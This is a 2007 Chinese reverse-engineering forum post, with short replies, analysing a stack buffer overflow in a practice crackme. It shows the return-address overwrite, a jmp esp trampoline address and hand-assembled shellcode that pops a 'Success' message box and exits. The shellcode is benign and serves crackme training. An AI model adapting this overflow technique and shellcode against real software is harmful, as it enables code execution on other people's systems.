首页
社区
课程
招聘
[原创]Nooby 的 CM04溢出简单分析
2007-4-25 13:12 6188

[原创]Nooby 的 CM04溢出简单分析

2007-4-25 13:12
6188
【文章标题】: Nooby 的 CM04溢出简单分析
【文章作者】: netwind
【作者QQ号】:
【软件名称】: Nooby 的 CM04
【下载地址】: http://bbs.pediy.com/attachment.php?attachmentid=5403&d=1177463198
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
  先运行程序输入四个字符:AAAA确定
  如下提示:
  
  说明我们输入的AAAA就直接覆盖了返回地址,
  这时用od载入程序,运行,输入AAAA确定。
  弹出如下提示:
  
  点确定
  这时看看堆栈分布情况
  转到esp
  分布如下:
  0012F6C4   41414141                    -》程序在此无法继续执行,(这里就是返回地址,x现被覆盖为41414141 就是AAAA
  0012F6C8   77F1D000  GDI32.77F1D000    -》此时的esp
  0012F6CC   41414141
  0012F6D0   00000000
  
  
  那么我们把0012F6C4地址指向的内容用jmp esp的地址(77d7c5fb)覆盖 后面就是这时esp指向的地方覆盖shellcode,
  就达到目的了!
  这里写个消息框弹出正确提示信息:
  内容如下:
                              push    ebp
  0012F6C9    51              push    ecx
  0012F6CA    8BEC            mov     ebp, esp
  0012F6CC    83EC 54         sub     esp, 54
  0012F6CF    33C9            xor     ecx, ecx
  0012F6D1    C645 EC 53      mov     byte ptr [ebp-14], 53   //以下数字是sucess,we got it!字母对应的asc码
  0012F6D5    C645 ED 75      mov     byte ptr [ebp-13], 75
  0012F6D9    C645 EE 63      mov     byte ptr [ebp-12], 63
  0012F6DD    C645 EF 63      mov     byte ptr [ebp-11], 63
  0012F6E1    C645 F0 65      mov     byte ptr [ebp-10], 65
  0012F6E5    C645 F1 73      mov     byte ptr [ebp-F], 73
  0012F6E9    C645 F2 73      mov     byte ptr [ebp-E], 73
  0012F6ED    884D F3         mov     [ebp-D], cl
  0012F6F0    C645 F4 57      mov     byte ptr [ebp-C], 57
  0012F6F4    C645 F5 65      mov     byte ptr [ebp-B], 65
  0012F6F8    C645 F6 20      mov     byte ptr [ebp-A], 20
  0012F6FC    C645 F7 47      mov     byte ptr [ebp-9], 47
  0012F700    C645 F8 6F      mov     byte ptr [ebp-8], 6F
  0012F704    C645 F9 74      mov     byte ptr [ebp-7], 74
  0012F708    C645 FA 20      mov     byte ptr [ebp-6], 20
  0012F70C    C645 FB 49      mov     byte ptr [ebp-5], 49
  0012F710    C645 FC 74      mov     byte ptr [ebp-4], 74
  0012F714    C645 FD 21      mov     byte ptr [ebp-3], 21
  0012F718    884D FE         mov     [ebp-2], cl
  0012F71B    51              push    ecx               //call MessageBoxA参数压栈
  0012F71C    8D45 EC         lea     eax, [ebp-14]
  0012F71F    50              push    eax
  0012F720    8D45 F4         lea     eax, [ebp-C]
  0012F723    50              push    eax
  0012F724    51              push    ecx
  0012F725    C745 E8 0B05D57>mov     dword ptr [ebp-18], 77d5050b>这里是原程序user32.dll里MessageBoxA地址
  0012F72C    FF55 E8         call    [ebp-18]
  0012F72F    8BE5            mov     esp, ebp
  0012F731    59              pop     ecx
  0012F732    5D              pop     ebp
  0012F733    E8 0F202D00     call    cm04.00401747    //弹出消息后调用 原程序里的 exit函数退出!
  
  
  把这段代码二进制提取出来(开头加上jmp esp的地址)做为shellcode,把他用字符串形式显示出来,粘贴进 程序输入框
  就到达胜利的彼岸了!
  
  
  

--------------------------------------------------------------------------------
【经验总结】
  只做溢出分析,没对程序跟踪
  
--------------------------------------------------------------------------------
【版权声明】: 本文原创于看雪技术论坛, 转载请注明作者并保持文章的完整, 谢谢!

                                                       2007年04月25日 13:03:56

[培训]科锐软件逆向50期预科班报名即将截止,速来!!! 50期正式班报名火爆招生中!!!

上传的附件:
收藏
免费 0
打赏
分享
最新回复 (4)
雪    币: 82
活跃值: (10)
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
Nooby 5 2007-4-25 17:49
2
0
真的不错! 现在看看能不能从没破坏栈平衡的版本里溢出~
雪    币: 8321
活跃值: (2860)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
netwind 13 2007-4-25 17:59
3
0
cm04-org.rar  
尝试输入大量字符 未发生异常,然后没去分析了!
雪    币: 405
活跃值: (10)
能力值: ( LV9,RANK:1130 )
在线值:
发帖
回帖
粉丝
binbinbin 28 2007-4-26 00:28
4
0
哈哈,长见识。希望能多些关于溢出的东西看
雪    币: 82
活跃值: (10)
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
Nooby 5 2007-4-26 10:55
5
0
异常是要造的...其实有异常链
游客
登录 | 注册 方可回帖
返回